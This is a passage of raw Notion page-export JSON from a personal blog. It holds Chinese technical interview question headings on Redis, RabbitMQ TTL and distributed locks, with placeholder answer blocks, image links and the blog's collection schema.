b3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604232723,"last_edited_time":1716604371598,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"0d9008b7-5925-4eed-a2a1-ec1439d430d6"}},"716a8648-0dae-40a5-ab72-41849d80cb4d":{"value":{"id":"716a8648-0dae-40a5-ab72-41849d80cb4d","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"04382531-9e28-4fa3-8b17-cee9c14a6346","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604232724,"last_edited_time":1716604232726,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"04382531-9e28-4fa3-8b17-cee9c14a6346"}},"d49f579b-59fd-4512-b306-d24439b15fb7":{"value":{"id":"d49f579b-59fd-4512-b306-d24439b15fb7","type":"quote","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"6e5e4d5d-edc6-4a50-8c46-d7d0bc7b949e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604232724,"last_edited_time":1716604232726,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"6e5e4d5d-edc6-4a50-8c46-d7d0bc7b949e"}},"ca230fb9-4323-40ef-9c29-2db3e11aaaa6":{"value":{"id":"ca230fb9-4323-40ef-9c29-2db3e11aaaa6","type":"text","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"2cbac960-6320-4993-843c-45ffac9bd976","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604232724,"last_edited_time":1716604232726,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"2cbac960-6320-4993-843c-45ffac9bd976"}},"2ff281ec-fa45-42e0-938b-09ff57097bb2":{"value":{"id":"2ff281ec-fa45-42e0-938b-09ff57097bb2","type":"text","created_time":1716604245863,"last_edited_time":1716604245863,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"6d2b7117-cc4d-4596-9b73-84a48bf65825":{"value":{"id":"6d2b7117-cc4d-4596-9b73-84a48bf65825","type":"sub_header","properties":{"title":[["12.一个数组包含10W个数据,数据范围都在0~100,请求出两数相加和为100的情况一共多少种"]]},"created_time":1716604245715,"last_edited_time":1716604373817,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"a9e9272d-4151-43b8-baed-a89c5e02f3b0":{"value":{"id":"a9e9272d-4151-43b8-baed-a89c5e02f3b0","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"716a8648-0dae-40a5-ab72-41849d80cb4d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604246104,"last_edited_time":1716604246107,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"716a8648-0dae-40a5-ab72-41849d80cb4d"}},"054371f1-b36e-4048-804d-6192db1a8394":{"value":{"id":"054371f1-b36e-4048-804d-6192db1a8394","type":"quote","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"d49f579b-59fd-4512-b306-d24439b15fb7","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604246104,"last_edited_time":1716604246107,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"d49f579b-59fd-4512-b306-d24439b15fb7"}},"a4bb5827-c052-4e77-916a-3fac2a2037dc":{"value":{"id":"a4bb5827-c052-4e77-916a-3fac2a2037dc","type":"text","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"ca230fb9-4323-40ef-9c29-2db3e11aaaa6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604246105,"last_edited_time":1716604246107,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"ca230fb9-4323-40ef-9c29-2db3e11aaaa6"}},"8cea1fa7-1927-4b50-a88d-3f6e2b45822a":{"value":{"id":"8cea1fa7-1927-4b50-a88d-3f6e2b45822a","type":"text","created_time":1716604255412,"last_edited_time":1716604255412,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"5e9fc629-2385-4988-be2f-d50f54203c01":{"value":{"id":"5e9fc629-2385-4988-be2f-d50f54203c01","type":"sub_header","properties":{"title":[["13.分布式锁实现方案"]]},"created_time":1716604255291,"last_edited_time":1716604376883,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"79d0029f-e146-4ff0-ad95-3e271d69e0f8":{"value":{"id":"79d0029f-e146-4ff0-ad95-3e271d69e0f8","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"a9e9272d-4151-43b8-baed-a89c5e02f3b0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604255604,"last_edited_time":1716604255606,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"a9e9272d-4151-43b8-baed-a89c5e02f3b0"}},"0d671cb5-2773-4550-bd12-805116290407":{"value":{"id":"0d671cb5-2773-4550-bd12-805116290407","type":"quote","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"054371f1-b36e-4048-804d-6192db1a8394","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604255604,"last_edited_time":1716604255606,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"054371f1-b36e-4048-804d-6192db1a8394"}},"fd96301e-866f-43f1-830f-005b766f7634":{"value":{"id":"fd96301e-866f-43f1-830f-005b766f7634","type":"text","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"a4bb5827-c052-4e77-916a-3fac2a2037dc","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604255604,"last_edited_time":1716604255606,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"a4bb5827-c052-4e77-916a-3fac2a2037dc"}},"fd497b12-fba5-443d-9760-e82b6bc42954":{"value":{"id":"fd497b12-fba5-443d-9760-e82b6bc42954","type":"text","created_time":1716604264132,"last_edited_time":1716604264132,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"69f91b04-3421-428f-b63a-edd0546971b1":{"value":{"id":"69f91b04-3421-428f-b63a-edd0546971b1","type":"text","created_time":1716604264212,"last_edited_time":1716604264212,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"55e5264f-28ee-417d-b43f-e500415aca87":{"value":{"id":"55e5264f-28ee-417d-b43f-e500415aca87","type":"sub_header","properties":{"title":[["14.Redis为什么那么快,Redis底层实现"]]},"created_time":1716604264033,"last_edited_time":1716604379682,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"04c59947-1ae2-47f6-b1d3-419fa0172205":{"value":{"id":"04c59947-1ae2-47f6-b1d3-419fa0172205","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"79d0029f-e146-4ff0-ad95-3e271d69e0f8","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604264375,"last_edited_time":1716604264378,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"79d0029f-e146-4ff0-ad95-3e271d69e0f8"}},"db602470-f0b2-488c-aa76-6c59fd812488":{"value":{"id":"db602470-f0b2-488c-aa76-6c59fd812488","type":"quote","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"0d671cb5-2773-4550-bd12-805116290407","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604264376,"last_edited_time":1716604264378,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"0d671cb5-2773-4550-bd12-805116290407"}},"5c75cb52-184a-4d74-ab82-0e4f66755a61":{"value":{"id":"5c75cb52-184a-4d74-ab82-0e4f66755a61","type":"text","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"fd96301e-866f-43f1-830f-005b766f7634","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604264376,"last_edited_time":1716604264378,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"fd96301e-866f-43f1-830f-005b766f7634"}},"d04cfd06-2056-4da9-9b6b-06766ff54cee":{"value":{"id":"d04cfd06-2056-4da9-9b6b-06766ff54cee","type":"text","created_time":1716604274062,"last_edited_time":1716604274062,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"cd24df1c-2681-4f9e-b3e2-f70723595f2b":{"value":{"id":"cd24df1c-2681-4f9e-b3e2-f70723595f2b","type":"text","created_time":1716604274146,"last_edited_time":1716604274146,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"a5bac5bd-9645-4ac0-86d3-d1dbba5f797c":{"value":{"id":"a5bac5bd-9645-4ac0-86d3-d1dbba5f797c","type":"sub_header","properties":{"title":[["15.RabbitMQ 中的TTL"]]},"created_time":1716604273925,"last_edited_time":1716604382723,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"87893fbe-f002-4bc3-bc68-f9b41961db62":{"value":{"id":"87893fbe-f002-4bc3-bc68-f9b41961db62","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"04c59947-1ae2-47f6-b1d3-419fa0172205","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604274252,"last_edited_time":1716604274254,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"04c59947-1ae2-47f6-b1d3-419fa0172205"}},"b70e7481-ad94-47cd-8e5a-4f85c1f68aad":{"value":{"id":"b70e7481-ad94-47cd-8e5a-4f85c1f68aad","type":"quote","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"db602470-f0b2-488c-aa76-6c59fd812488","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604274252,"last_edited_time":1716604274254,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"db602470-f0b2-488c-aa76-6c59fd812488"}},"f44a409b-e45d-4ad1-ac40-0b5f0d527db4":{"value":{"id":"f44a409b-e45d-4ad1-ac40-0b5f0d527db4","type":"text","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"5c75cb52-184a-4d74-ab82-0e4f66755a61","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604274253,"last_edited_time":1716604274254,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"5c75cb52-184a-4d74-ab82-0e4f66755a61"}},"451efe86-cc11-4036-b6ac-626a4eccf273":{"value":{"id":"451efe86-cc11-4036-b6ac-626a4eccf273","type":"text","created_time":1716604284048,"last_edited_time":1716604284048,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"b56261ae-b587-4f93-a7cb-417e5a9c10ad":{"value":{"id":"b56261ae-b587-4f93-a7cb-417e5a9c10ad","type":"text","created_time":1716604284145,"last_edited_time":1716604284145,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"34c207da-6427-4d40-b967-b0139ef3f244":{"value":{"id":"34c207da-6427-4d40-b967-b0139ef3f244","type":"sub_header","properties":{"title":[["16.Redis中常见集群部署情况,出现性能问题如何排查"]]},"created_time":1716604283917,"last_edited_time":1716604385400,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"29cf5ac7-b566-4bf0-acfd-3849498c7b40":{"value":{"id":"29cf5ac7-b566-4bf0-acfd-3849498c7b40","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"87893fbe-f002-4bc3-bc68-f9b41961db62","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604284287,"last_edited_time":1716604284290,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"87893fbe-f002-4bc3-bc68-f9b41961db62"}},"49f18629-ea51-482f-a194-84f71f15b3c1":{"value":{"id":"49f18629-ea51-482f-a194-84f71f15b3c1","type":"quote","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"b70e7481-ad94-47cd-8e5a-4f85c1f68aad","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604284287,"last_edited_time":1716604284290,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"b70e7481-ad94-47cd-8e5a-4f85c1f68aad"}},"89e64ed0-2fda-4cd3-b601-726886ac32fb":{"value":{"id":"89e64ed0-2fda-4cd3-b601-726886ac32fb","type":"text","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"f44a409b-e45d-4ad1-ac40-0b5f0d527db4","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604284287,"last_edited_time":1716604284290,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"f44a409b-e45d-4ad1-ac40-0b5f0d527db4"}},"3e61d241-a459-40fb-8239-b0972625657e":{"value":{"id":"3e61d241-a459-40fb-8239-b0972625657e","type":"text","created_time":1716604329881,"last_edited_time":1716604329881,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"f44544e2-4fe7-4d60-86b1-39d0abddee84":{"value":{"id":"f44544e2-4fe7-4d60-86b1-39d0abddee84","type":"text","created_time":1716604329758,"last_edited_time":1716604329758,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"cc6fd491-697e-4b1b-8979-18e1951b8dc9":{"value":{"id":"cc6fd491-697e-4b1b-8979-18e1951b8dc9","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"61d69b7e-e4ff-4d41-b630-bfdc4c7fe640","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973496,"last_edited_time":1716603973496,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"61d69b7e-e4ff-4d41-b630-bfdc4c7fe640"}},"b9f1473a-eead-4fcd-a5af-820980bb2c26":{"value":{"id":"b9f1473a-eead-4fcd-a5af-820980bb2c26","type":"column_list","content":["5f654be2-77cd-42c9-87dd-f157c1ea5dba","5d0b9796-8245-403b-8d6b-30adb8f8556d","6b9d05c6-54f4-4414-92d4-5255a77e9e10"],"format":{"copied_from_pointer":{"id":"73d4818b-811c-4909-8b13-5169d9166c6c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973496,"last_edited_time":1716603973496,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"73d4818b-811c-4909-8b13-5169d9166c6c"}},"01af2dbc-ddf6-4353-966e-c816aa2e4250":{"value":{"id":"01af2dbc-ddf6-4353-966e-c816aa2e4250","type":"text","format":{"copied_from_pointer":{"id":"5cef5f6d-900f-40a8-a893-6115ef1f49bf","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973496,"last_edited_time":1716603973496,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"5cef5f6d-900f-40a8-a893-6115ef1f49bf"}},"5f654be2-77cd-42c9-87dd-f157c1ea5dba":{"value":{"id":"5f654be2-77cd-42c9-87dd-f157c1ea5dba","type":"column","content":["bd61870d-1ab0-440c-b9d7-e3594593d30c"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"ea46e036-f68e-49de-8f21-bfed2f920b54","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973499,"last_edited_time":1716603973499,"parent_id":"b9f1473a-eead-4fcd-a5af-820980bb2c26","parent_table":"block","alive":true,"copied_from":"ea46e036-f68e-49de-8f21-bfed2f920b54"}},"5d0b9796-8245-403b-8d6b-30adb8f8556d":{"value":{"id":"5d0b9796-8245-403b-8d6b-30adb8f8556d","type":"column","content":["c0fda2c3-f006-4876-a507-28610b66ab7c","9522d4d5-2a02-4258-afb6-bb7e1e6cb925"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"d2a58f3b-79e0-4780-912f-8ac70bcd13ef","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973499,"last_edited_time":1716603973499,"parent_id":"b9f1473a-eead-4fcd-a5af-820980bb2c26","parent_table":"block","alive":true,"copied_from":"d2a58f3b-79e0-4780-912f-8ac70bcd13ef"}},"6b9d05c6-54f4-4414-92d4-5255a77e9e10":{"value":{"id":"6b9d05c6-54f4-4414-92d4-5255a77e9e10","type":"column","content":["28f92213-d9de-4377-bcc5-d855f572f4c7"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"79fb07a9-28cd-4dff-93eb-90185adec883","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973499,"last_edited_time":1716603973499,"parent_id":"b9f1473a-eead-4fcd-a5af-820980bb2c26","parent_table":"block","alive":true,"copied_from":"79fb07a9-28cd-4dff-93eb-90185adec883"}},"bd61870d-1ab0-440c-b9d7-e3594593d30c":{"value":{"id":"bd61870d-1ab0-440c-b9d7-e3594593d30c","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"7844a53e-e660-44bf-92a3-0532f66158ba","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1716603973500,"last_edited_time":1716603973500,"parent_id":"5f654be2-77cd-42c9-87dd-f157c1ea5dba","parent_table":"block","alive":true,"copied_from":"7844a53e-e660-44bf-92a3-0532f66158ba","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"c0fda2c3-f006-4876-a507-28610b66ab7c":{"value":{"id":"c0fda2c3-f006-4876-a507-28610b66ab7c","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["b"],["i"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"7e623a46-11c6-411a-9255-720c84443957","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973499,"last_edited_time":1716603973499,"parent_id":"5d0b9796-8245-403b-8d6b-30adb8f8556d","parent_table":"block","alive":true,"copied_from":"7e623a46-11c6-411a-9255-720c84443957"}},"9522d4d5-2a02-4258-afb6-bb7e1e6cb925":{"value":{"id":"9522d4d5-2a02-4258-afb6-bb7e1e6cb925","type":"text","format":{"copied_from_pointer":{"id":"d09e38d6-d5bc-4c12-a5f3-c5402e177e14","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973499,"last_edited_time":1716603973499,"parent_id":"5d0b9796-8245-403b-8d6b-30adb8f8556d","parent_table":"block","alive":true,"copied_from":"d09e38d6-d5bc-4c12-a5f3-c5402e177e14"}},"28f92213-d9de-4377-bcc5-d855f572f4c7":{"value":{"id":"28f92213-d9de-4377-bcc5-d855f572f4c7","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"e3e53889-a3bc-4913-b284-b003a45f4ad2","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1716603973499,"last_edited_time":1716603973499,"parent_id":"6b9d05c6-54f4-4414-92d4-5255a77e9e10","parent_table":"block","alive":true,"copied_from":"e3e53889-a3bc-4913-b284-b003a45f4ad2","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097